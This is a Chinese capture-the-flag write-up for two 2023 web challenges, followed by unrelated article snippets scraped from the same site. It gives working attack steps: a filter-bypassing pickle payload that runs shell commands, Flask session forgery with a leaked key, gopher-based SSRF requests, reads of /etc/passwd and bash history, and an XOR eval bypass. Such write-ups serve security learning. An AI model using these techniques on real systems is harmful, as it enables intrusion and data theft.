2023长城杯 web部分题目(seekingeasy_extension)
seeking
下载题目附件得到:
<?php
error_reporting(0);
header("HINT:POST n = range(1,10)");$image = $_GET['image'];
echo "这里什么也没有,或许吧。";
$allow = range(1, 10);
shuffle($allow);
if (($_POST['n'] == $allow[0])) {if(isset($image)){$image = base64_decode($image);$data = base64_encode(file_get_contents($image));echo "your image is".base64_encode($image)."</br>";echo "<img src='data:image/png;base64,$data'/>";}else{$data = base64_encode(file_get_contents("tupian.png"));echo "no image get,default img is dHVwaWFuLHBuZw==";echo "<img src='data:image/png;base64,$data'/>";}
}
首先要满足 post一个n跟1,10随机数相等 intruder模块爆破即可
$image这里没有过滤,可以使用file或者filter协议获取文件内容,但是直接获取不到flag 估计是名字不同
根据提示(图片里面有隐藏信息)
分离得到一个7z压缩包,解压得到secret.txt: M0sT_D4nger0us.php
搭配filter伪协议,读取文件内容得到文件代码:

<?php
$url=$_GET['url'];
$curlobj = curl_init($url);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
?>
典型ssrf 没有过滤
file:///etc/passwd 发现了secret用户
secret:x:1000:1000::/home/secret:/bin/sh
再根据提示:通过文件读取分析 bash记录
同时题目也提到了 小朱的一个ID叫secret的朋友叫他帮忙测试一下他的web服务
读取secret用户的历史命令,/home/secret/.bashhistory

看见了 /home/secret/Ez_Pickle/app.py文件
#!/usr/bin/python3.6
import os
import picklefrom base64 import b64decode
from flask import Flask, sessionapp = Flask(__name__)
app.config["SECRET_KEY"] = "idontwantyoutoknowthis"User = type('User', (object,), {'uname': 'xxx','__repr__': lambda o: o.uname,
})@app.route('/', methods=('GET','POST'))
def index_handler():u = pickle.dumps(User())session['u'] = ureturn "这里啥都没有,我只知道有个路由的名字和python常用的的一个序列化的包的名字一样哎"@app.route('/pickle', methods=('GET','POST'))
def pickle_handler():try:u = session.get('a')if isinstance(u, dict):code = b64decode(u.get('b'))if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:print(code)return "what do you want???"result=pickle.loads(code)return resultelse:return "almost there"except:return "error"if __name__ == '__main__':app.run('127.0.0.1', port=5555, debug=False)
pickle反序列化,给了SECRET_KEY 伪造session 给 对应的b赋值构造好的恶意 pickle序列化数据
存在过滤 if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
o操作码绕过
import base64
import picklepayload = b'''(cos
system
S'cat /f* > /tmp/a'
o.'''
# ls / > /tmp/a 得到flag名称
code = payload
if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:print(code)
#pickle.loads(code)
print(base64.b64encode(payload))
import urllib.parse
a ='''GET /pickle HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhIjp7ImIiOiJLR052Y3dwemVYTjBaVzBLVXlkallYUWdMMllxSUQ0Z0wzUnRjQzloSndwdkxnPT0ifX0.ZPlszQ.mXPJEIl_a5JbUlHndOy5WOceS2s
'''tmp = urllib.parse.quote(a)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:5555/' + '_' + new
print(result)
gopher带着cookie发包

之后再写入 flag文件内容到tmp里 读取即可

easy_extension
/userinfo.php?info= 这里存在ssrf
fuzz得知,估计是白名单 只能用 http:// https:// gopher://
在登录界面,尝试弱口令 admin 123456登录,弹出 Just View From 127.0.0.1

结合前面 /userinfo.php?info这里 肯定就是利用ssrf gopher去发包,进行登录访问
发包后,得到下一步提示:Continue go to ‘/byfackstage/profile.php’

访问,看见了三个功能,一个 search 一个calc 一个 logout

select.php这里存在任意文件读取
最终得到文件内容为:
select.php
<?php
error_reporting(0);
include "./profile.php";
ini_set('open_basedir','/var/www/html/');
$search = $_POST['search'];if(!empty($search)){if(preg_match('/[^a-zA-Z.]+/',$search)) {die('hacker!');} else {$file_path=$search;if(!file_exists($file_path)){die("<script>alert('file No exist');location.href='select.php'</script>");}$fp=fopen($file_path,"rb");$file_size=filesize($file_path);Header("Content-type: application/octet-stream");Header("Accept-Ranges: bytes");Header("Accept-Length:".$file_size);Header("Content-Disposition: attachment; filename=".basename($file_path));$buffer=1024;$file_count=0;while(!feof($fp) && $file_count<$file_size){$file_con=fread($fp,$buffer);$file_count+=$buffer;echo $file_con;}fclose($fp);}
}
ini_set('open_basedir','/var/www/html/'); 这里限制了只能访问 /var/www/html 下的文件
calc.php
<?php
error_reporting(0);
include "profile.php";$one=$_POST['one'];
$two=$_POST['two'];
$cmd=Cmd\Calc::exe($one,$two);
echo $cmd;
eval($cmd);
logout.php
<?php
include "profile.php";
header("location: ../index.php");
利用点应该就在 calc.php里 里面存在eval 不过eval()里的内容 由 Cmd\Calc::exe() 决定
题目是 easy_extension 界面也给了 zephir generate Current_Directory php extensions
意思大概是:zephir在当前目录生成 php扩展
和 zephir有关 搜索得知 zephir 是专门开发php扩展的
zephir build 执行这个命令会先把zephir代码解析成C代码,然后编译该C代码成.so库文件,最后放进你的php扩展库目录
唉 当时想到读so来自,Cmd.so Calc.so 都没有

后面看山河师傅wp里 读的是 cmd.so 小写c 。。。赛后复盘就开始懊悔 应该多试试的来着
同时山河师傅还读了 wafCheck.php 当时也不知道还有这个文件
<?php
function waf($code){if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $code)){return $code;}else{return "hacker!!!";}
}
逆cmd.so 可以知道, Cmd\Calc::exe($one,$two) 是对one和two两个参数传进来的东西进行异或然后再当做php代码执行
因为会返回 $cmd 当时想的是 fuzz一下 python脚本如下:
import requests
import re
import string
burp0_url = "http://eci-2ze4x19l8hd7454rmx2y.cloudeci1.ichunqiu.com:80/byfackstage/calc.php"
dic = string.printable
dic1 = "CDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
for i in dic1:for j in dic:one = "{}".format(i)two = "{}".format(j)data = {"one": one, "two": two, "submit": "submit"}text = requests.post(burp0_url, data=data)char = ''.join(re.findall("</form>(.+?)",text.text))print(char,one,two)
黑盒 fuzz的时候 fuzz出来了大部分字符
P 1 a
S 1 b
R 1 c
U 1 d
T 1 e
W 1 f
V 1 g
Y 1 h
X 1 i
[ 1 j
Z 1 k
] 1 l
\ 1 m
_ 1 n
^ 1 o
A 1 p
@ 1 q
C 1 r
B 1 s
E 1 t
D 1 u
G 1 v
F 1 w
I 1 x
H 1 y
K 1 zG t 3
E v 3
T g 3
[ h 3
] n 3
^ m 3
[ h 3
] n 3
\ 0 3
@ s 3
_ i 6
) b K
$ a E
| 4 H
0 a Q
! a @
: a [
= a \
< a ]
? a ^
> a _
# b A
& b D
, b N
- b O
+ B i
/ a N
但是 应该是 php7版本 eval() assert()这种解析问题
我直接构造了 c m d = " cmd = " cmd="_GET[0]" 想着这样直接 eval($cmd); 进行rce 事实上是行不通的
山河师傅 构造的是 $cmd = "require G E T [ x ] ? > " 然后 e v a l ( _GET[x]?>" 然后 eval( GET[x]?>"然后eval(cmd) 这种是可以进行文件包含的 构造包含 /flag即可
利用无字母数字异或rce绕过 wafCheck.php的限制 tql orz
这里贴一张山河师傅成功的图:

参考:https://www.yuque.com/shanhe-9jurb/kfn512/ll4pa9uzg40l5elk?singleDoc#aIM8U
相关文章:
2023长城杯 web部分题目(seekingeasy_extension)
seeking 下载题目附件得到: <?php error_reporting(0); header("HINT:POST n range(1,10)");$image $_GET[image]; echo "这里什么也没有,或许吧。"; $allow range(1, 10); shuffle($allow); if (($_POST[n] $allow[0])) …...
2-1 张量数据结构
张量概念 张量是什么? 单个元素叫标量(scalar),一个序列叫向量(vector),多个序列组成的平面叫矩阵(matrix),多个平面组成的立方体叫张量(tensor&…...
QSqlQuery查询语句
SqlQuery 封装了在 QSqlDatabase 上执行的 SQL 查询中创建、导航和检索数据所涉及的功能。 可用于执行 DML(数据操作语言)语句,如 SELECT、INSERT、UPDATE 和 DELETE, 以及 DDL(数据定义语言)语句ÿ…...
用c语言编写出三底模型
以下是一个用C语言实现三底模型的示例代码。这个程序通过循环遍历输入的股票数据,判断是否出现三底形态,如果是,则输出买入信号,否则输出卖出信号。 c语言 #include <stdio.h> #include <stdlib.h> // 判断是否出现…...
15 Python使用MySQL
概述 在上一节,我们介绍了如何在Python中使用网络,包括:套接字编程、socketserver等内容。在这一节,我们将介绍如何在Python中使用MySQL。MySQL是最流行的关系型数据库管理系统之一,由瑞典MySQL AB公司开发,…...
3、Nginx 常用的命令和配置文件
文章目录 3、nginx 常用的命令和配置文件3.1 nginx 常用的命令:3.2 nginx.conf 配置文件3.2.1 地址3.2.2 内容3.2.2 vim不正常退出后再次打开信息提示解决方法 3.3 第一部分:全局块3.4 第二部分:events 块3.4 第三部分:http 块①、…...
python经典百题之兔子出生问题
这是一个经典的 Fibonacci 数列问题,可以通过递归或循环来解决。 递归方法: 由题意可知,第 n 个月的兔子数等于第 n-1 个月的兔子数加上第 n-2 个月的兔子数。设 f(n) 表示第 n 个月的兔子数,则有: f(n) f(n-1) f…...
不定积分的概念和性质
目录 原函数 不定积分 不定积分的几何意义 原函数的存在定理 不定积分的性质 不定积分是微积分的一个关键部分,它涉及到一个函数的不定积分的计算。不定积分可以理解为求一个函数的原函数,也被称为反导数。原函数是一个函数,使得该函数的…...
远程访问服务器JupyterLab的配置方法
远程访问服务器JupyterLab的配置方法 环境及工具注意 基本步骤生成密码生成并修改配置文件*错误:jupyter localhost 已拒绝连接*后台运行jupyter后台关闭 其实就是在服务器运行JupyterLab,然后在本地浏览器访问 环境及工具 服务器:Ubuntu 1…...
Java native 关键字
如你在看 JDK 的源代码的时候,大概率会看到很多方法使用了 native 关键字。 下面是 String 对象 JDK 中的源代码,就带有了一个 native 关键字。 native 是干什么用的 简单来说就是 Java 的 native 方法的实现不是用 Java 实现的,可能在其他…...
【线性代数】沉浸式线性代数在线学习网站
地址:http://immersivemath.com/ila/index.html 这是全球第一本带交互式图形的线性代数教材,作者是 J. Strm, K. strm, and T. Akenine-Mller。 全书一共十章,各章节内容如下: 接下来我将对各章节进行简单的总结,另外…...
Kotlin中特性、数据类、伴生对象、顶层函数
Kotlin中的函数参数和属性声明 在 Kotlin 中,函数参数和属性有不同的声明方式和行为。这些特性使得 Kotlin 代码更加安全、易于理解和维护。 函数参数的只读性 fun sum(a: Int, b: Int): Int {var modifiedA aif (modifiedA > 0) {modifiedA 1}//三元表达式v…...
《PostgreSQL物化视图:创建、维护与应用》
🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🐅🐾猫头虎建议程序员必备技术栈一览表📖: 🛠️ 全栈技术 Full Stack: 📚…...
shell脚本之test命令
shell脚本之test命令 数值比较:2. 字符串比较:3. 文件测试:4. 逻辑操作:5. 其他测试: test命令在Shell脚本中用于进行条件测试和条件判断。它用于检查文件、字符串和数值的各种条件,并返回一个状态码&#…...
JAVA设计模式8:装饰模式,动态地将责任附加到对象上,扩展对象的功能
作者主页:Designer 小郑 作者简介:3年JAVA全栈开发经验,专注JAVA技术、系统定制、远程指导,致力于企业数字化转型,CSDN博客专家,阿里云社区专家博主,蓝桥云课讲师。 目录 一、什么是装饰模式二、…...
Linux学习之MySQL备份
xtrabackup资源下载 完全备份与恢复 # 1.物理备份与恢复 # 冷备份,需停止数据库服务 适合线下服务器。 [rootmysql50 ~]# systemctl stop mysqld [rootmysql50 ~]# mkdir /bakdir [rootmysql50 ~]# cp -r /var/lib/mysql /bakdir/mysql.bak [rootmysql50 ~]# cd /…...
时序分解 | MATLAB实现北方苍鹰优化算法NGO优化VMD信号分量可视化
时序分解 | MATLAB实现北方苍鹰优化算法NGO优化VMD信号分量可视化 目录 时序分解 | MATLAB实现北方苍鹰优化算法NGO优化VMD信号分量可视化效果一览基本介绍程序设计参考资料 效果一览 基本介绍 北方苍鹰优化算法NGO优化VMD,对其分解层数,惩罚因子数做优化…...
分类预测 | Matlab实现RBF-Adaboost多特征分类预测
分类预测 | Matlab实现RBF-Adaboost多特征分类预测 目录 分类预测 | Matlab实现RBF-Adaboost多特征分类预测效果一览基本介绍研究内容程序设计参考资料 效果一览 基本介绍 1.Matlab实现基于RBF-Adaboost数据分类预测(Matlab完整程序和数据) 2.多特征输入…...
【Java代码规范】阿里编码规约 VS CheckStyle
全文速览: 1、关于代码编码质量2、如何小成本有效管理企业内的编码规范 2.1 阿里编码规约IDE插件2.2 CheckStyle IDE插件 3、如何在代码提交中检验规范 3.1 阿里编码规约配置git precommit check3.2 CheckStyle配置git precommit check3.3 实践 1、关于代码编码质…...
iPhone苹果15手机圆点怎么设置让屏幕上显示出来圆形图标?
iPhone苹果15手机圆点怎么设置让屏幕上显示出来圆形图标? 1、在iPhone苹果手机上找到「设置」并点击打开; 2、在苹果iPhone设置内找到「辅助功能」并点击打开; 3、在苹果iPhone手机辅助功能内的动作交互内找到「触控」并点击打开;…...
逻辑回归:给不确定性划界的分类大师
想象你是一名医生。面对患者的检查报告(肿瘤大小、血液指标),你需要做出一个**决定性判断**:恶性还是良性?这种“非黑即白”的抉择,正是**逻辑回归(Logistic Regression)** 的战场&a…...
边缘计算医疗风险自查APP开发方案
核心目标:在便携设备(智能手表/家用检测仪)部署轻量化疾病预测模型,实现低延迟、隐私安全的实时健康风险评估。 一、技术架构设计 #mermaid-svg-iuNaeeLK2YoFKfao {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg…...
无法与IP建立连接,未能下载VSCode服务器
如题,在远程连接服务器的时候突然遇到了这个提示。 查阅了一圈,发现是VSCode版本自动更新惹的祸!!! 在VSCode的帮助->关于这里发现前几天VSCode自动更新了,我的版本号变成了1.100.3 才导致了远程连接出…...
解锁数据库简洁之道:FastAPI与SQLModel实战指南
在构建现代Web应用程序时,与数据库的交互无疑是核心环节。虽然传统的数据库操作方式(如直接编写SQL语句与psycopg2交互)赋予了我们精细的控制权,但在面对日益复杂的业务逻辑和快速迭代的需求时,这种方式的开发效率和可…...
Cinnamon修改面板小工具图标
Cinnamon开始菜单-CSDN博客 设置模块都是做好的,比GNOME简单得多! 在 applet.js 里增加 const Settings imports.ui.settings;this.settings new Settings.AppletSettings(this, HTYMenusonichy, instance_id); this.settings.bind(menu-icon, menu…...
从零开始打造 OpenSTLinux 6.6 Yocto 系统(基于STM32CubeMX)(九)
设备树移植 和uboot设备树修改的内容同步到kernel将设备树stm32mp157d-stm32mp157daa1-mx.dts复制到内核源码目录下 源码修改及编译 修改arch/arm/boot/dts/st/Makefile,新增设备树编译 stm32mp157f-ev1-m4-examples.dtb \stm32mp157d-stm32mp157daa1-mx.dtb修改…...
基于Docker Compose部署Java微服务项目
一. 创建根项目 根项目(父项目)主要用于依赖管理 一些需要注意的点: 打包方式需要为 pom<modules>里需要注册子模块不要引入maven的打包插件,否则打包时会出问题 <?xml version"1.0" encoding"UTF-8…...
Android第十三次面试总结(四大 组件基础)
Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成,用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机: onCreate() 调用时机:Activity 首次创建时调用。…...
Python 包管理器 uv 介绍
Python 包管理器 uv 全面介绍 uv 是由 Astral(热门工具 Ruff 的开发者)推出的下一代高性能 Python 包管理器和构建工具,用 Rust 编写。它旨在解决传统工具(如 pip、virtualenv、pip-tools)的性能瓶颈,同时…...
打手机检测算法AI智能分析网关V4守护公共/工业/医疗等多场景安全应用
一、方案背景 在现代生产与生活场景中,如工厂高危作业区、医院手术室、公共场景等,人员违规打手机的行为潜藏着巨大风险。传统依靠人工巡查的监管方式,存在效率低、覆盖面不足、判断主观性强等问题,难以满足对人员打手机行为精…...
